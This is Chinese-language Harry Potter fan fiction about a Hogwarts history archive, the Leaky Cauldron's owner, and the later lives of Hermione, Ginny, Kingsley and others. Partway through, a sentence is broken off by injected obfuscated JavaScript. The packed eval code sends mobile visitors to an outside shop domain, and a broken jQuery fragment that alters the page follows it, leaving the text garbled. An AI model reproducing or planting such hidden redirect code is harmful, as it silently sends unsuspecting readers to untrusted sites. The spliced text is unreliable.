破釜酒吧的老板汤姆，所有人都叫他“老汤姆”，以区别于这间酒吧有史以来最著名的同名住客。是在一个下着冷雨的周二傍晚决定把整面墙捐给霍格沃茨校史馆的。
老汤姆在这条街上做了大半辈子生意，见过对绿荫路石板翻新持不同意见的双方堵在店铺门外互掷恶咒，见过妖精长老会的代表在角落里用古妖精语吵架。也见过对角巷从加隆换到存根，从猫头鹰换到通讯终端，从小推车上的烤栗子摊换到国际魔法物流专线的调度室。他觉得这一切都应该被保存在某个地方，而不只是被他一个人记在脑子里。
校史馆筹备委员会派来接收这面墙的人是缇娜·卡拉莫。她带着一整套流转中心标准格式的归档工具，从透明档案膜到防潮标签，连用来取下墙上便条的小铲子都是按委员会标准索引编号登记过的。
缇娜·卡拉莫花了整整一个下午把那些纸张逐张取下，按时间顺序排列，标注编号，然后放进一只被标注为GM12的档案盒里。最上面那张被反复折叠过好些次的旧羊皮纸，上面只有一行用左手写的歪歪扭扭的字：“本店接受存根。不限血统。”
缇娜记得这张纸：这是老汤姆在丽痕书店门口第一次贴出那张“存根通兑”告示之后，用同一支粗钢笔在吧台上就地写的，墨水还没干就被一个兴奋过度的年轻女巫拍到公告墙上。那时候它只是一张告示，但现在它已经是霍格沃茨校史馆魔法经济史展区的永久藏品，编号GM12-001。
丽痕书店的店长是在缇娜·卡拉莫带着存根接收确认函出现在他店里时，才知道自己这么多年随手贴过的所有告示都被纳入了同一套编号体系。
缇娜把那份确认函放在柜台上，用保育员交班日志上学到的简洁分点陈述告诉他，他在不同年份分别贴过存根通兑告示、歪猫限量版预订通知、新法典全文摘要、常设魔法仲裁院第一批公开案件审理日程、以及那份著名的“本店今日特供防水档案膜”通知，每一份都保留在公告墙上，每一份都已被编入GM12档案盒。
店长沉默了好一会儿，然后从他的旧账本里翻出好些年前卖出的第一本《标准魔药学》的存根副本，说“这本教材其实是当年第一批被翻译成法语的霍格沃茨标准教材之一——当时法国代表团来交流，格林特教授在流转中心当着我的面帮我填的出口编码。我后来就一直在默默追踪每一批被译成其它语言的霍格沃茨教材。”
现在法国魔法部的教育司档案室里还存放着当初法国代表团第一批交流后带回去的标准教材原本，扉页上印着霍格沃茨校徽，旁边粘着一张和GM12档案盒里一模一样的歪猫贴纸。
老山毛榉树是在一个极其寻常的春日清晨被正式命名为“獾纹灯塔”的。命名仪式由邓布利多亲自主持，他在树下对着一群刚入学不久的孩子们说，这棵树曾经是灯塔。在通讯中继节点刚被架设上去的年头，整个北海沿线的魔法信号都靠它和斯瓦尔巴极地站点之间那条极细的加密频段来校准。
后来养在它脚下由一届届学生持续描补的獾形纹痕成为了魔法阵养护频率的稳定参照源，如今这棵树的养护阵频率已被正式纳入全欧洲魔法阵联合巡查框架，成为极地航线最南端的常设参照节点。它脚下的护栏上画满了不同颜色的星星，不同年代入学的学生用不同的笔迹把北极航线从北坡住宅区一路延伸到斯瓦尔巴群岛再延伸到更远的地方，最远的那几颗已经画到了南半球。
赫敏·格兰杰如今已是魔法大学高等魔法阵研究院的正式研究员，同时兼任剑桥大学自然科学系的客座讲师。她在拿到博士学位后做的第一件事，是把那篇关于魔力波动与地脉周期关系的论文重新修订了一遍。这一次的版本加入了一组全新的对照组数据，来自东非活体符文观测站近几年的连续记录。
赫敏在论文扉页上加了一行注，说本项研究的最初观察记录来自很多年前一位格兰芬多飞行训练员自愿协助的极地苔藓对照组实验，该训练员现已退休，但他那枚备用徽章仍保留在波特家。
金妮·韦斯莱在毕业后没有立刻加入任何魁地奇俱乐部，她花了大半年时间跟着尼法朵拉把极地苔藓观察站的数据全部整理成展板，然后带着其中一部分跨纬度对照组样本去巴西卡斯特罗布舍魔法学校做了四个多月的交换研究员。
那是金妮第一次见到亚马逊雨林里那些被尼法朵拉的小学徒命名为“韦斯莱星”的夜光苔藓变种，每一片叶片边缘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635827|204472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都带着极淡的金红色镶边，和她头发的颜色一模一样。她每天把所有采回来的样本按编号逐批归档，在页脚附上每次采集时的湿度、风速和她自己新设计的光谱分析示意图，当她把这份归档完的样本目录发回给尼法朵拉时，尼法朵拉用她在保育员交班日志上学到的简洁口吻回复了一句：“档案编号无误。你的新徽章归波特家了。”
金妮对着这条回复看了片刻，然后低头继续在笔记本上画她那条还没画完的航线图，从斯瓦尔巴极地站点的恒温养护阵一直延伸到霍格沃茨城堡后墙那面画满了星星的护栏，每一笔都和她当年在老山毛榉树下画的第一颗歪歪扭扭的星星一样认真而笃定。
金斯莱·沙克尔是在新仲裁院审理完第一批女性继承权案之后正式宣布退休的。他把那块福斯特留给他的旧怀表从口袋里拿出来放在桌上，对着所有来参加他退休酒会的人说，这表里最老的那片加密便条还是福斯特从上一任部长保险柜里继承的，上头只剩几个模糊至极的确认记号。克劳奇最火大的那个年代，连怀表里的便条都能被用来当办公桌上镇纸的替代品。
现在金斯莱把表交给缇娜·卡拉莫，她接过表时用自己在保育员交班日志上学到的简洁语言把它和GM12档案盒里的原始标签逐条对齐，说：“这枚便条的编号与她多年前在公告墙上替老厨娘匿名遗言做的索引格式完全一致。”
金斯莱沉默了很久，然后说“我以前从没想过自己以后会用归档编号来记录自己退休。”
里德尔在黑魔法防御术办公室窗前站到暮色全沉之后。
艾米推门进来，把那只画歪猫的茶杯放在他桌上，杯底磕出一声极轻的脆响，在他对面那把旧扶手椅里坐下来，把右膝的护膝在袍角下调整了一下角度。窗台上那盆蛇獾双形蕨已经分过了不知多少轮盆，最早的母本早已老去，但它的子株遍布了马人草药交换哨站、巴西卡斯特罗布舍魔法学校、瓦加杜古校长办公室的窗台，以及北极斯瓦尔巴站点养护阵旁边那顶被尼法朵拉亲手搭建的小型防风棚。
老山毛榉树下的护栏上，尼法朵拉正把那条画了太多年、延伸到离北极圈最远那所魔法分校校门只有几颗星星距离的航线图重新描了一遍。